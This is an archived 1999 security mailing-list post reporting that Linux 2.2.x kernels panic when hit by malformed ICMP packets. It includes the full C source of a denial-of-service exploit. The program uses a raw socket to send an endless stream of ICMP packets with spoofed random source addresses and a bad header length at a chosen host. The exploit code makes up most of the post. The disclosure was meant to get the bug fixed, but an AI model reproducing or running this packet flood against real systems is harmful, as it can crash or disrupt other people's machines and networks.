Linux kernel 2.2.x vulnerability/exploit

From: Piotr Wilkin (pwlat_private)
Date: Tue Jun 01 1999 - 08:43:17 PDT

  • Next message: Salvatore Sanfilippo -antirez-: "whois_raw.cgi problem"

    I'm sorry if this has been noticed before, but since I did't find anything
    in the archives, I post it here.
    There seems to be a bug in kernels 2.2.x (tested on 2.2.7 and 2.2.9), that
    causes them to panic when they are sent a large number of specific ICMP
    packages. I think the problem comes from the combination of the mangled
    header length (shorter or longer ihl's don't cause hangup) and the random
    ICMP packets (random type/subtype and source address) this program sends.
    Windows 9x and FreeBSD 3.0 seem to be unaffected.
    
    
    -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
    
    Here is the program source (under Linux):
    
    -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
    
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <netinet/in.h>
    #include <netinet/ip.h>
    #include <netinet/ip_icmp.h>
    #include <arpa/inet.h>
    #include <errno.h>
    #include <unistd.h>
    #include <netdb.h>
    
    struct icmp_hdr
    {
        struct iphdr iph;
        struct icmp icp;
        char text[1002];
    } icmph;
    
    int in_cksum(int *ptr, int nbytes)
    {
        long sum;
        u_short oddbyte, answer;
        sum = 0;
        while (nbytes > 1)
        {
    	sum += *ptr++;
    	nbytes -= 2;
        }
        if (nbytes == 1)
        {
    	oddbyte = 0;
    	*((u_char *)&oddbyte) = *(u_char *)ptr;
    	sum += oddbyte;
        }
        sum = (sum >> 16) + (sum & 0xffff);
        sum += (sum >> 16);
        answer = ~sum;
        return(answer);
    }
    
    struct sockaddr_in sock_open(char *address, int socket, int prt)
    {
    	struct hostent *host;
    	if ((host = gethostbyname(address)) == NULL)
    	{
    		perror("Unable to get host name");
    		exit(-1);
    	}	
    	struct sockaddr_in sin;
    	bzero((char *)&sin, sizeof(sin));
    	sin.sin_family = PF_INET;
    	sin.sin_port = htons(prt);
    	bcopy(host->h_addr, (char *)&sin.sin_addr, host->h_length);
    	return(sin);
    }
    
    void main(int argc, char **argv)
    {
    	int sock, i, ctr, k;
    	int on = 1;
    	struct sockaddr_in addrs;
    	if (argc < 3)
    	{
    		printf("Usage: %s <ip_addr> <port>\n", argv[0]);
    		exit(-1);
    	}
    	for (i = 0; i < 1002; i++)
    	{
    	    icmph.text[i] = random() % 255;
    	}
    	sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
    	if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) == -1)
    	{
    	    perror("Can't set IP_HDRINCL option on socket");
    	}
    	if (sock < 0)
    	{
    	    exit(-1);
    	}
    	fflush(stdout);
    	for (ctr = 0;ctr < 1001;ctr++)
    	{
    	    ctr = ctr % 1000;
                addrs = sock_open(argv[1], sock, atoi(argv[2]));
    	    icmph.iph.version = 4;
    	    icmph.iph.ihl = 6;
    	    icmph.iph.tot_len = 1024;
    	    icmph.iph.id = htons(0x001);
    	    icmph.iph.ttl = 255;
    	    icmph.iph.protocol = IPPROTO_ICMP;
    	    icmph.iph.saddr = ((random() % 255) * 255 * 255 * 255) +
    	    ((random() % 255) * 65535) +
    	    ((random() % 255) * 255) +
    	    (random() % 255);
    	    icmph.iph.daddr = addrs.sin_addr.s_addr;
    	    icmph.iph.frag_off = htons(0);
    	    icmph.icp.icmp_type = random() % 14;
    	    icmph.icp.icmp_code = random() % 10;
    	    icmph.icp.icmp_cksum = 0;
    	    icmph.icp.icmp_id = 2650;
    	    icmph.icp.icmp_seq = random() % 255;
    	    icmph.icp.icmp_cksum = in_cksum((int *)&icmph.icp, 1024);
    	    if (sendto(sock, &icmph, 1024, 0, (struct sockaddr *)&addrs, sizeof(struct sockaddr)) == -1)
    	    {
    	    	if (errno != ENOBUFS) printf("X");
    	    }
    	    if (ctr == 0) printf("b00m ");
    	    fflush(stdout);
    	}
    	close(sock);
    }
    



    This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 14:48:02 PDT